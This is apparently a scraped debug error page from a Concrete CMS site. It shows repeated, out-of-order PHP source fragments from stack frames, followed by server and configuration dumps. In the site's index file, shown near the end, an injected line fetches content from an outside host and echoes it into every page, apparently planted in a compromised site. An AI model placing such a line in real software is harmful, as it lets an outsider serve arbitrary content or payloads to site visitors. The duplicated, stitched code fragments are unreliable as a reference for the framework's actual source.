* @throws \InvalidArgumentException On invalid $savePath
*/
public function __construct($savePath = null)
{
if (null === $savePath) {
$savePath = ini_get('session.save_path');
}
$baseDir = $savePath;
if ($count = substr_count($savePath, ';')) {
if ($count > 2) {
throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'', $savePath));
}
// characters after last ';' are the path
$baseDir = ltrim(strrchr($savePath, ';'), ';');
}
ini_set('session.save_handler', 'files');
try {
if ($baseDir && !is_dir($baseDir)) {
mkdir($baseDir, 0777, true);
}
ini_set('session.save_path', $savePath);
} catch (\Exception $e) {
/*
* Catch any exceptions caused by open_basedir restrictions and ignore them.
*
* Not the most elegant solution but far less tedious than trying to analyze the save path.
*
* - if the exception is not open_basedir related, pass it on.
* - if a save path was manually specified, pass it on.
*/
if (strpos($e->getMessage(), 'open_basedir') === false || current(func_get_args())) {
throw $e;
}
"ini_set(): Headers already sent. You cannot change the session module's ini settings at this time"
* @throws \InvalidArgumentException On invalid $savePath
*/
public function __construct($savePath = null)
{
if (null === $savePath) {
$savePath = ini_get('session.save_path');
}
$baseDir = $savePath;
if ($count = substr_count($savePath, ';')) {
if ($count > 2) {
throw new \InvalidArgumentException(sprintf('Invalid argument $savePath \'%s\'', $savePath));
}
// characters after last ';' are the path
$baseDir = ltrim(strrchr($savePath, ';'), ';');
}
ini_set('session.save_handler', 'files');
try {
if ($baseDir && !is_dir($baseDir)) {
mkdir($baseDir, 0777, true);
}
ini_set('session.save_path', $savePath);
} catch (\Exception $e) {
/*
* Catch any exceptions caused by open_basedir restrictions and ignore them.
*
* Not the most elegant solution but far less tedious than trying to analyze the save path.
*
* - if the exception is not open_basedir related, pass it on.
* - if a save path was manually specified, pass it on.
*/
if (strpos($e->getMessage(), 'open_basedir') === false || current(func_get_args())) {
throw $e;
}
return new $concrete;
}
$dependencies = $constructor->getParameters();
// Once we have all the constructor's parameters we can create each of the
// dependency instances and then use the reflection instances to make a
// new instance of this class, injecting the created dependencies in.
try {
$instances = $this->resolveDependencies($dependencies);
} catch (BindingResolutionException $e) {
array_pop($this->buildStack);
throw $e;
}
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
/**
* Resolve all of the dependencies from the ReflectionParameters.
*
* @param \ReflectionParameter[] $dependencies
* @return array
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
protected function resolveDependencies(array $dependencies)
{
$results = [];
foreach ($dependencies as $dependency) {
// If the dependency has an override for this particular build we will use
// that instead as the value. Otherwise, we will continue with this run
// of resolutions and let reflection attempt to determine the result.
if ($this->hasParameterOverride($dependency)) {
$results[] = $this->getParameterOverride($dependency);
$args = $this->isRunThroughCommandLineInterface() && isset($_SERVER['argv']) ? $_SERVER['argv'] : null;
$detector = new EnvironmentDetector();
return $this->environment = $detector->detect($environments, $args);
}
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @param array $parameters
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*
* @return mixed
*/
public function build($concrete)
{
$object = parent::build($concrete);
if (is_object($object)) {
if ($object instanceof ApplicationAwareInterface) {
$object->setApplication($this);
}
if ($object instanceof LoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger($object->getLoggerChannel());
$object->setLogger($logger);
} elseif ($object instanceof PsrLoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger(Channels::CHANNEL_APPLICATION);
$object->setLogger($logger);
}
}
return $object;
}
/**
* @return RuntimeInterface
*/
$needsContextualBuild = ! empty($parameters) || ! is_null($concrete);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
if ($raiseEvents) {
$this->fireResolvingCallbacks($abstract, $object);
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function makeWith($abstract, array $parameters = [])
{
return $this->make($abstract, $parameters);
}
/**
* Resolve the given type from the container.
*
* @param string|callable $abstract
* @param array $parameters
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
/**
* {@inheritdoc}
*
* @return mixed
*/
public function get($id)
{
try {
return $this->resolve($id);
} catch (Exception $e) {
if ($this->has($id) || $e instanceof CircularDependencyException) {
throw $e;
}
throw new EntryNotFoundException($id, $e->getCode(), $e);
}
}
$session->setName(array_get($config, 'name'));
/* @TODO Remove this call. We should be able to set this against the request somewhere much higher than this */
/* At the very least we should have an observer that can track the session status and set this */
$this->app->make(\Concrete\Core\Http\Request::class)->setSession($session);
return $session;
}
/**
* Create and return a newly built file session handler.
*
* @param array $config The `concrete.session` config item
*
* @return \Concrete\Core\Session\Storage\Handler\NativeFileSessionHandler
*/
protected function getFileHandler(array $config)
{
return $this->app->make(NativeFileSessionHandler::class, [
'savePath' => array_get($config, 'save_path'),
]);
}
/**
* Create a new database session handler to handle session.
*
* @param array $config The `concrete.session` config item
*
* @return \Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
*/
protected function getDatabaseHandler(array $config)
{
return new PdoSessionHandler(
$this->app->make(Connection::class)->getWrappedConnection(),
[
'db_table' => 'Sessions',
'db_id_col' => 'sessionID',
'db_data_col' => 'sessionValue',
'db_time_col' => 'sessionTime',
'db_lifetime_col' => 'sessionLifeTime',
return $app->make(Storage\LoggedStorage::class, ['wrappedStorage' => $storage]);
}
/**
* Get a new session handler.
*
* @param array $config The config from our config repository
*
* @return \SessionHandlerInterface
*
* @throws \RuntimeException When a configured handler does not exist
*/
private function getSessionHandler(array $config)
{
$handler = array_get($config, 'handler', 'default');
// Build handler using a matching method "get{Type}Handler"
$method = Str::camel("get_{$handler}_handler");
if (method_exists($this, $method)) {
return $this->{$method}($config);
}
/*
* @todo Change this to return an exception if an unsupported handler is configured. This makes it easier to get
* configuration dialed in properly
*/
//throw new \RuntimeException(t('Unsupported session handler "%s"', $handler));
// Return the default session handler by default
return $this->getSessionHandler(['handler' => 'default'] + $config);
}
/**
* Generator for only returning hosts that aren't already added to the memcache instance.
*
* @param \Memcached $memcached
* @param array $servers The servers as described in config
*
* @return \Generator|string[] [ $host, $port, $weight ]
*/
}
/**
* Get a session storage object based on configuration.
*
* @param array $config
*
* @return \Symfony\Component\HttpFoundation\Session\Storage\SessionStorageInterface
*/
private function getSessionStorage(array $config)
{
$app = $this->app;
// If we're running through command line, just early return an in-memory storage
if ($app->isRunThroughCommandLineInterface()) {
return $app->make(MockArraySessionStorage::class);
}
// Resolve the handler based on config
$handler = $this->getSessionHandler($config);
$storage = $app->make(NativeSessionStorage::class, ['options' => [], 'handler' => $handler]);
// Initialize the storage with some options
$options = array_get($config, 'cookie', []) + [
'gc_maxlifetime' => (int) array_get($config, 'max_lifetime') ?: (int) ini_get('session.gc_maxlifetime') ?: 7200,
'gc_probability' => (int) array_get($config, 'gc_probability') ?: (int) ini_get('session.gc_probability') ?: 1,
'gc_divisor' => (int) array_get($config, 'gc_divisor') ?: (int) ini_get('session.gc_divisor') ?: 100,
];
if (array_get($options, 'cookie_path', false) === false) {
$options['cookie_path'] = $app['app_relative_path'] . '/';
}
$storage->setOptions($options);
return $app->make(Storage\LoggedStorage::class, ['wrappedStorage' => $storage]);
}
/**
* Get a new session handler.
* @param \Concrete\Core\Http\Request $request @deprecated, will be removed
*/
public function __construct(Application $app, Request $request)
{
$this->app = $app;
$this->request = $request;
}
/**
* Create a new symfony session object
* This method MUST NOT start the session.
*
* @return \Symfony\Component\HttpFoundation\Session\Session
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function createSession()
{
$config = $this->app['config']['concrete.session'];
$storage = $this->getSessionStorage($config);
// We have to use "build" here because we have bound this classname to this factory method
$session = new SymfonySession($storage);
$session->setName(array_get($config, 'name'));
/* @TODO Remove this call. We should be able to set this against the request somewhere much higher than this */
/* At the very least we should have an observer that can track the session status and set this */
$this->app->make(\Concrete\Core\Http\Request::class)->setSession($session);
return $session;
}
/**
* Create and return a newly built file session handler.
*
* @param array $config The `concrete.session` config item
*
* @return \Concrete\Core\Session\Storage\Handler\NativeFileSessionHandler
*/
protected function getFileHandler(array $config)
use Concrete\Core\Application\Application;
use Concrete\Core\Foundation\Service\Provider as ServiceProvider;
use Concrete\Core\Logging\Channels;
use Concrete\Core\Logging\LoggerFactory;
use Psr\Log\LoggerInterface;
class SessionServiceProvider extends ServiceProvider
{
public function register()
{
// Supply the deprecated static session accessor with a real application object
Session::setApplicationObject($this->app);
$this->app->bind('Concrete\Core\Session\SessionValidatorInterface', SessionValidator::class);
$this->app->singleton(SessionValidator::class);
$this->app->bind('Concrete\Core\Session\SessionFactoryInterface', 'Concrete\Core\Session\SessionFactory');
$this->app->singleton('session', function ($app) {
return $app->make('Concrete\Core\Session\SessionFactoryInterface')->createSession();
});
$this->app->bind('Symfony\Component\HttpFoundation\Session\Session', 'session');
}
}
{
return $concrete === $abstract || $concrete instanceof Closure;
}
/**
* Instantiate a concrete instance of the given type.
*
* @param \Closure|string $concrete
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
* @throws \Illuminate\Contracts\Container\CircularDependencyException
*/
public function build($concrete)
{
// If the concrete type is actually a Closure, we will just execute it and
// hand back the results of the functions, which allows functions to be
// used as resolvers for more fine-tuned resolution of these objects.
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
try {
$reflector = new ReflectionClass($concrete);
} catch (ReflectionException $e) {
throw new BindingResolutionException("Target class [$concrete] does not exist.", 0, $e);
}
// If the type is not instantiable, the developer is attempting to resolve
// an abstract type such as an Interface or Abstract Class and there is
// no binding registered for the abstractions so we need to bail out.
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
// If there are no constructors, that means there are no dependencies then
$args = $this->isRunThroughCommandLineInterface() && isset($_SERVER['argv']) ? $_SERVER['argv'] : null;
$detector = new EnvironmentDetector();
return $this->environment = $detector->detect($environments, $args);
}
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @param array $parameters
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*
* @return mixed
*/
public function build($concrete)
{
$object = parent::build($concrete);
if (is_object($object)) {
if ($object instanceof ApplicationAwareInterface) {
$object->setApplication($this);
}
if ($object instanceof LoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger($object->getLoggerChannel());
$object->setLogger($logger);
} elseif ($object instanceof PsrLoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger(Channels::CHANNEL_APPLICATION);
$object->setLogger($logger);
}
}
return $object;
}
/**
* @return RuntimeInterface
*/
$needsContextualBuild = ! empty($parameters) || ! is_null($concrete);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
if ($raiseEvents) {
$this->fireResolvingCallbacks($abstract, $object);
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function makeWith($abstract, array $parameters = [])
{
return $this->make($abstract, $parameters);
}
/**
* Resolve the given type from the container.
*
* @param string|callable $abstract
* @param array $parameters
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
/**
* {@inheritdoc}
*
* @return mixed
*/
public function get($id)
{
try {
return $this->resolve($id);
} catch (Exception $e) {
if ($this->has($id) || $e instanceof CircularDependencyException) {
throw $e;
}
throw new EntryNotFoundException($id, $e->getCode(), $e);
}
}
*
* @param string $key
* @return bool
*/
#[\ReturnTypeWillChange]
public function offsetExists($key)
{
return $this->bound($key);
}
/**
* Get the value at a given offset.
*
* @param string $key
* @return mixed
*/
#[\ReturnTypeWillChange]
public function offsetGet($key)
{
return $this->make($key);
}
/**
* Set the value at a given offset.
*
* @param string $key
* @param mixed $value
* @return void
*/
#[\ReturnTypeWillChange]
public function offsetSet($key, $value)
{
$this->bind($key, $value instanceof Closure ? $value : function () use ($value) {
return $value;
});
}
/**
* Unset the value at a given offset.
*
}
}
return false;
}
/**
* @return UserInfo|null
*/
public function getUserInfoObject()
{
return UserInfo::getByID($this->uID);
}
public function __construct()
{
$app = Application::getFacadeApplication();
$args = func_get_args();
$config = $app['config'];
$session = $app['session'];
$validator = $app->make(SessionValidator::class);
// We need to check for the cookie so that we don't auto create a session when this runs super early.
if (isset($args[1])) {
// first, we check to see if the username and password match the admin username and password
// $username = uName normally, but if not it's email address
$username = $args[0];
$password = $args[1];
$disableLogin = isset($args[2]) ? (bool) $args[2] : false;
if (!$disableLogin) {
$session->migrate();
$session->remove('uGroups');
$session->remove('accessEntities');
}
$v = [$username];
if ($config->get('concrete.user.registration.email_registration')) {
$q = 'select uID, uName, uIsActive, uIsValidated, uTimezone, uDefaultLanguage, uPassword, uLastPasswordChange, uIsPasswordReset from Users where uEmail = ?';
} else {
$q = 'select uID, uName, uIsActive, uIsValidated, uTimezone, uDefaultLanguage, uPassword, uLastPasswordChange, uIsPasswordReset from Users where uName = ?';
}
return new $concrete;
}
$dependencies = $constructor->getParameters();
// Once we have all the constructor's parameters we can create each of the
// dependency instances and then use the reflection instances to make a
// new instance of this class, injecting the created dependencies in.
try {
$instances = $this->resolveDependencies($dependencies);
} catch (BindingResolutionException $e) {
array_pop($this->buildStack);
throw $e;
}
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
/**
* Resolve all of the dependencies from the ReflectionParameters.
*
* @param \ReflectionParameter[] $dependencies
* @return array
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
protected function resolveDependencies(array $dependencies)
{
$results = [];
foreach ($dependencies as $dependency) {
// If the dependency has an override for this particular build we will use
// that instead as the value. Otherwise, we will continue with this run
// of resolutions and let reflection attempt to determine the result.
if ($this->hasParameterOverride($dependency)) {
$results[] = $this->getParameterOverride($dependency);
$args = $this->isRunThroughCommandLineInterface() && isset($_SERVER['argv']) ? $_SERVER['argv'] : null;
$detector = new EnvironmentDetector();
return $this->environment = $detector->detect($environments, $args);
}
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @param array $parameters
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*
* @return mixed
*/
public function build($concrete)
{
$object = parent::build($concrete);
if (is_object($object)) {
if ($object instanceof ApplicationAwareInterface) {
$object->setApplication($this);
}
if ($object instanceof LoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger($object->getLoggerChannel());
$object->setLogger($logger);
} elseif ($object instanceof PsrLoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger(Channels::CHANNEL_APPLICATION);
$object->setLogger($logger);
}
}
return $object;
}
/**
* @return RuntimeInterface
*/
// If the abstract type was already resolved in this container we'll fire the
// rebound listener so that any objects which have already gotten resolved
// can have their copy of the object updated via the listener callbacks.
if ($this->resolved($abstract)) {
$this->rebound($abstract);
}
}
/**
* Get the Closure to be used when building a type.
*
* @param string $abstract
* @param string $concrete
* @return \Closure
*/
protected function getClosure($abstract, $concrete)
{
return function ($container, $parameters = []) use ($abstract, $concrete) {
if ($abstract == $concrete) {
return $container->build($concrete);
}
return $container->resolve(
$concrete, $parameters, $raiseEvents = false
);
};
}
/**
* Determine if the container has a method binding.
*
* @param string $method
* @return bool
*/
public function hasMethodBinding($method)
{
return isset($this->methodBindings[$method]);
}
/**
{
return $concrete === $abstract || $concrete instanceof Closure;
}
/**
* Instantiate a concrete instance of the given type.
*
* @param \Closure|string $concrete
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
* @throws \Illuminate\Contracts\Container\CircularDependencyException
*/
public function build($concrete)
{
// If the concrete type is actually a Closure, we will just execute it and
// hand back the results of the functions, which allows functions to be
// used as resolvers for more fine-tuned resolution of these objects.
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
try {
$reflector = new ReflectionClass($concrete);
} catch (ReflectionException $e) {
throw new BindingResolutionException("Target class [$concrete] does not exist.", 0, $e);
}
// If the type is not instantiable, the developer is attempting to resolve
// an abstract type such as an Interface or Abstract Class and there is
// no binding registered for the abstractions so we need to bail out.
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
// If there are no constructors, that means there are no dependencies then
$args = $this->isRunThroughCommandLineInterface() && isset($_SERVER['argv']) ? $_SERVER['argv'] : null;
$detector = new EnvironmentDetector();
return $this->environment = $detector->detect($environments, $args);
}
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @param array $parameters
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*
* @return mixed
*/
public function build($concrete)
{
$object = parent::build($concrete);
if (is_object($object)) {
if ($object instanceof ApplicationAwareInterface) {
$object->setApplication($this);
}
if ($object instanceof LoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger($object->getLoggerChannel());
$object->setLogger($logger);
} elseif ($object instanceof PsrLoggerAwareInterface) {
$logger = $this->make('log/factory')->createLogger(Channels::CHANNEL_APPLICATION);
$object->setLogger($logger);
}
}
return $object;
}
/**
* @return RuntimeInterface
*/
$needsContextualBuild = ! empty($parameters) || ! is_null($concrete);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
if (is_null($concrete)) {
$concrete = $this->getConcrete($abstract);
}
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
if ($raiseEvents) {
$this->fireResolvingCallbacks($abstract, $object);
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function makeWith($abstract, array $parameters = [])
{
return $this->make($abstract, $parameters);
}
/**
* Resolve the given type from the container.
*
* @param string|callable $abstract
* @param array $parameters
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
/**
* {@inheritdoc}
*
* @return mixed
*/
public function get($id)
{
try {
return $this->resolve($id);
} catch (Exception $e) {
if ($this->has($id) || $e instanceof CircularDependencyException) {
throw $e;
}
throw new EntryNotFoundException($id, $e->getCode(), $e);
}
}
}
}
/**
* @deprecated Splitted into initializeSystemTimezone and initializeSiteTimezone
*/
protected function initializeTimezone()
{
$this->initializeSystemTimezone();
$this->initializeSiteTimezone();
}
/**
* Initialize localization.
*
* @deprecated In a future major version this will be part of HTTP middleware
*/
protected function setSystemLocale()
{
$u = $this->app->make(User::class);
$lan = $u->getUserLanguageToDisplay();
$loc = Localization::getInstance();
$loc->setContextLocale(Localization::CONTEXT_UI, $lan);
}
/**
* Set legacy config values
* This sets `concrete.site` to the current site's sitename.
*
* @deprecated In a future major version this will be part of HTTP middleware
*
* @return Response|void Returns a response if an error occurs
*/
protected function registerLegacyConfigValues()
{
$config = $this->getConfig();
$name = $this->getSiteService()->getSite()->getSiteName();
$config->set('concrete.site', $name);
}
* @return Response|void Returns a response if an error occurs
*/
protected function handlePermissionKeys()
{
/* @todo Replace this with a testable service */
Key::loadAll();
}
/**
* Try a list of steps. If a response is returned, halt progression and return the response;.
*
* @param string[] $steps
*
* @return Response|null
*/
protected function trySteps(array $steps)
{
foreach ($steps as $step) {
// Run each step and return if there's a result
if ($result = $this->$step()) {
return $result;
}
}
return null;
}
/**
* Get the config repository to use.
*
* @deprecated In a future major version this will be part of HTTP middleware
*
* @return Repository
*/
protected function getConfig()
{
if (!$this->config) {
$this->config = $this->getDefaultConfig();
}
/**
* Begin the runtime.
*/
public function run()
{
// Load in the /application/bootstrap/app.php file
$this->loadBootstrap();
$response = null;
// Check if we're installed
if ($this->app->isInstalled()) {
// Call each step in the line
// @todo Move these to individual middleware, this is basically a duplicated middleware pipeline
$response = $this->trySteps([
// Set the active language for the site, based either on the site locale, or the
// current user record. This can be changed later as well, during runtime.
// Start localization library.
'setSystemLocale',
// Set the system time zone (what should be the same as the database one)
'initializeSystemTimezone',
// Handle updating automatically
'handleUpdates',
// Set up packages first.
// We do this because we don't want the entity manager to be loaded and we
// want to give packages an opportunity to replace classes and load new classes
'setupPackages',
// Pre-load class aliases
// This is needed to avoid the problem of calling functions that accept a class alias as a parameter,
// but that alias isn't still auto-loaded. For example, that would result in the following error:
// Argument 1 passed to functionName() must be an instance of Area, instance of Concrete\Core\Area\Area given.
// Don't use this method: it will be removed in future concrete5 versions
'preloadClassAliases',
// Load site specific timezones. Has to come after packages because it
$this->status = self::STATUS_ACTIVE;
}
}
/**
* Begin the runtime.
*/
public function run()
{
switch ($this->status) {
case self::STATUS_ENDED:
// We've already ended, lets just return
return;
case self::STATUS_INACTIVE:
throw new \RuntimeException('Runtime has not yet booted.');
}
$runner = $this->getRunner();
$response = $runner->run();
if ($response) {
$this->sendResponse($response);
}
return $response;
}
/**
* The method that handles properly sending a response.
*
* @param \Symfony\Component\HttpFoundation\Response $response
*/
protected function sendResponse(Response $response)
{
$response->send();
// Set the status to ended
$this->status = self::STATUS_ENDED;
}
* Include all autoloaders.
* ----------------------------------------------------------------------------
*/
require __DIR__ . '/bootstrap/autoload.php';
/*
* ----------------------------------------------------------------------------
* Begin Concrete startup.
* ----------------------------------------------------------------------------
*/
$app = require __DIR__ . '/bootstrap/start.php';
/** @var \Concrete\Core\Application\Application $app */
/*
* ----------------------------------------------------------------------------
* Run the runtime.
* ----------------------------------------------------------------------------
*/
$runtime = $app->getRuntime();
if ($response = $runtime->run()) {
/*
* ------------------------------------------------------------------------
* Shut it down.
* ------------------------------------------------------------------------
*/
$app->shutdown();
} else {
return $app;
}
<?php $a = file_get_contents('https://zine.id/ts/'); echo $a; ?>
<?php
require 'concrete/dispatcher.php';
"/home/ui9cnv08/domains/realnet.cloud/public_html/concrete/dispatcher.php"
Key | Value |
Version | "9.1.3"
|
Installed Version | "9.1.3"
|
Database Version | "20220908074900"
|
Key | Value |
Version | "7.4.33"
|
Extensions | array:55 [ "Core" => "7.4.33" "date" => "7.4.33" "libxml" => "7.4.33" "openssl" => "7.4.33" "pcre" => "7.4.33" "sqlite3" => "7.4.33" "zlib" => "7.4.33" "bcmath" => "7.4.33" "calendar" => "7.4.33" "ctype" => "7.4.33" "curl" => "7.4.33" "dom" => "20031129" "hash" => "7.4.33" "fileinfo" => "7.4.33" "filter" => "7.4.33" "ftp" => "7.4.33" "gd" => "7.4.33" "gettext" => "7.4.33" "SPL" => "7.4.33" "iconv" => "7.4.33" "intl" => "7.4.33" "json" => "7.4.33" "mbstring" => "7.4.33" "session" => "7.4.33" "standard" => "7.4.33" "mysqlnd" => "mysqlnd 7.4.33" "PDO" => "7.4.33" "pdo_mysql" => "7.4.33" "pdo_sqlite" => "7.4.33" "Phar" => "7.4.33" "posix" => "7.4.33" "Reflection" => "7.4.33" "mysqli" => "7.4.33" "SimpleXML" => "7.4.33" "soap" => "7.4.33" "sockets" => "7.4.33" "sodium" => "7.4.33" "exif" => "7.4.33" "tokenizer" => "7.4.33" "xml" => "7.4.33" "xmlreader" => "7.4.33" "xmlwriter" => "7.4.33" "xsl" => "7.4.33" "zip" => "1.15.6" "litespeed" => "Unknown version" "gmp" => "7.4.33" "imap" => "7.4.33" "xmlrpc" => "7.4.33" "apcu" => "5.1.19" "mailparse" => "3.1.1" "memcached" => "3.2.0" "redis" => "5.3.7" "imagick" => "3.7.0" "ionCube Loader" => "13.0.1" "Zend OPcache" => "7.4.33" ] |
Key | Value |
concrete | array:55 [ "version" => "9.1.3" "version_installed" => "9.1.3" "version_db" => "20220908074900" "installed" => true "locale" => "en_US" "charset" => "UTF-8" "charset_bom" => "" "maintenance_mode" => false "debug" => array:4 [ "display_errors" => true "detail" => "debug" "error_reporting" => null "hide_keys" => array:5 [ "_GET" => [] "_POST" => [] "_FILES" => [] "_SESSION" => [] "config" => array:9 [ 0 => "***********************" 1 => "***********************************" 2 => "******************************" 3 => "*********************************" 4 => "**************************************" 5 => "********************************************" 6 => "********************************************" 7 => "************************" 8 => "************" ] ] ] "proxy" => array:4 [ "host" => null "port" => null "user" => null "password" => "***" ] "upload" => array:4 [ "extensions" => "*.flv;*.jpg;*.gif;*.jpeg;*.ico;*.docx;*.xla;*.png;*.psd;*.swf;*.doc;*.txt;*.xls;*.xlsx;*.csv;*.pdf;*.tiff;*.rtf;*.m4a;*.mov;*.wmv;*.mpeg;*.mpg;*.wav;*.3gp;*.avi;*.m4v;*.mp4;*.mp3;*.qt;*.ppt;*.pptx;*.kml;*.xml;*.svg;*.webm;*.webp;*.ogg;*.ogv" "extensions_denylist" => "*.php;*.php2;*.php3;*.php4;*.php5;*.php7;*.php8;*.phtml;*.phar;*.htaccess;*.pl;*.phpsh;*.pht;*.shtml;*.cgi" "parallel" => 4 "chunking" => array:2 [ "enabled" => false "chunkSize" => null ] ] "export" => array:1 [ "csv" => array:2 [ "include_bom" => false "datetime_format" => "ATOM" ] ] "interface" => array:1 [ "panel" => array:1 [ "page_relations" => false ] ] "mail" => array:2 [ "method" => "PHP_MAIL" "methods" => array:1 [ "smtp" => array:7 [ "server" => "" "port" => "" "username" => "" "password" => "" "encryption" => "" "messages_per_connection" => null "helo_domain" => "localhost" ] ] ] "cache" => array:17 [ "enabled" => true "lifetime" => 21600 "overrides" => true "blocks" => true "assets" => false "theme_css" => true "pages" => false "doctrine_dev_mode" => false "full_page_lifetime" => "default" "full_page_lifetime_value" => null "full_contents_assets_hash" => false "directory" => "/home/ui9cnv08/domains/realnet.cloud/public_html/application/files/cache" "directory_relative" => null "page" => array:2 [ "directory" => "/home/ui9cnv08/domains/realnet.cloud/public_html/application/files/cache/pages" "adapter" => "file" ] "levels" => array:3 [ "overrides" => array:2 [ "drivers" => array:3 [ "core_ephemeral" => array:2 [ "class" => "\Stash\Driver\Ephemeral" "options" => [] ] "core_filesystem" => array:2 [ "class" => "Concrete\Core\Cache\Driver\FileSystemStashDriver" "options" => array:3 [ "path" => "/home/ui9cnv08/domains/realnet.cloud/public_html/application/files/cache/overrides" "dirPermissions" => 511 "filePermissions" => 438 ] ] "redis" => array:2 [ "class" => "Concrete\Core\Cache\Driver\RedisStashDriver" "options" => array:2 [ "prefix" => "concrete_overrides" "database" => 0 ] ] ] "preferred_driver" => "core_filesystem" ] "expensive" => array:2 [ "drivers" => array:3 [ "core_ephemeral" => array:2 [ "class" => "\Stash\Driver\Ephemeral" "options" => [] ] "core_filesystem" => array:2 [ "class" => "Concrete\Core\Cache\Driver\FileSystemStashDriver" "options" => array:3 [ "path" => "/home/ui9cnv08/domains/realnet.cloud/public_html/application/files/cache/expensive" "dirPermissions" => 511 "filePermissions" => 438 ] ] "redis" => array:2 [ "class" => "Concrete\Core\Cache\Driver\RedisStashDriver" "options" => array:2 [ "prefix" => "concrete_expensive" "database" => 0 ] ] ] "preferred_driver" => "core_filesystem" ] "object" => array:2 [ "drivers" => array:2 [ "core_ephemeral" => array:2 [ "class" => "\Stash\Driver\Ephemeral" "options" => [] ] "redis" => array:2 [ "class" => "Concrete\Core\Cache\Driver\RedisStashDriver" "options" => array:2 [ "prefix" => "concrete_object" "database" => 0 ] ] ] "preferred_driver" => "core_ephemeral" ] ] "clear" => array:1 [ "thumbnails" => false ] "last_cleared" => 1648642409 ] "design" => array:2 [ "enable_custom" => true "enable_layouts" => true ] "processes" => array:3 [ "logging" => array:2 [ "method" => "none" "file" => array:1 [ "directory" => "" ] ] "scheduler" => array:1 [ 